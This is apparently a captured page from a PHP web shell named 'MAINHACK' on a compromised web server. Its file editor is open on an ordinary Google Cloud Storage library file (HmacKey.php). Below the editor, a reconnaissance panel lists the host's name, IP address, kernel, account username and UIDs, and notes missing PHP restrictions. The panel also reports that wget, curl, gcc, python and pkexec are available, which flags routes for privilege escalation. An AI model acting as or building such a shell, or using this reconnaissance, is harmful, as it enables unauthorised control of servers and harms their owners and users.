[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HmacKey.php
<?php /** * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Storage; use Google\Cloud\Storage\Connection\ConnectionInterface; /** * Represents a Service Account HMAC key. * * Example: * ``` * use Google\Cloud\Storage\StorageClient; * * $storage = new StorageClient(); * $hmacKey = $storage->hmacKey($accessId); * ``` */ class HmacKey { /** * @var ConnectionInterface * @internal */ private $connection; /** * @var string */ private $projectId; /** * @var string */ private $accessId; /** * @var array|null */ private $info; /** * @param ConnectionInterface $connection A connection to Cloud Storage. * This object is created by StorageClient, * and should not be instantiated outside of this client. * @param string $projectId The current project ID. * @param string $accessId The key identifier. * @param array|null $info The key metadata. */ public function __construct( ConnectionInterface $connection, $projectId, $accessId, array $info = [] ) { $this->connection = $connection; $this->projectId = $projectId; $this->accessId = $accessId; $this->info = $info; } /** * Get the HMAC Key Access ID. * * Example: * ``` * $accessId = $hmacKey->accessId(); * ``` * * @return string */ public function accessId() { return $this->accessId; } /** * Fetch the key metadata from Cloud Storage. * * Example: * ``` * $keyMetadata = $hmacKey->reload(); * ``` * * @param array $options { * Configuration Options * * @type string $userProject If set, this is the ID of the project which * will be billed for the request. **NOTE**: This option is * currently ignored by Cloud Storage. * } * @return array */ public function reload(array $options = []) { $this->info = $this->connection->getHmacKey([ 'projectId' => $this->projectId, 'accessId' => $this->accessId ] + $options); return $this->info; } /** * Get the HMAC Key Metadata. * * If the metadata is not already available, it will be requested from Cloud * Storage. * * Example: * ``` * $keyMetadata = $hmacKey->info(); * ``` * * @param array $options { * Configuration Options * * @type string $userProject If set, this is the ID of the project which * will be billed for the request. **NOTE**: This option is * currently ignored by Cloud Storage. * } * @return array */ public function info(array $options = []) { return $this->info ?: $this->reload($options); } /** * Update the HMAC Key state. * * Example: * ``` * $hmacKey->update('INACTIVE'); * ``` * * @param string $state The key state. Either `ACTIVE` or `INACTIVE`. * @param array $options { * Configuration Options * * @type string $userProject If set, this is the ID of the project which * will be billed for the request. **NOTE**: This option is * currently ignored by Cloud Storage. * } * @return array */ public function update($state, array $options = []) { $this->info = $this->connection->updateHmacKey([ 'accessId' => $this->accessId, 'projectId' => $this->projectId, 'state' => $state ] + $options); return $this->info; } /** * Delete the HMAC Key. * * Key state must be set to `INACTIVE` prior to deletion. See * {@see HmacKey::update()} for details. * * Example: * ``` * $hmacKey->delete(); * ``` * * @param array $options { * Configuration Options * * @type string $userProject If set, this is the ID of the project which * will be billed for the request. **NOTE**: This option is * currently ignored by Cloud Storage. * } * @return void */ public function delete(array $options = []) { $this->connection->deleteHmacKey([ 'accessId' => $this->accessId, 'projectId' => $this->projectId, ] + $options); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002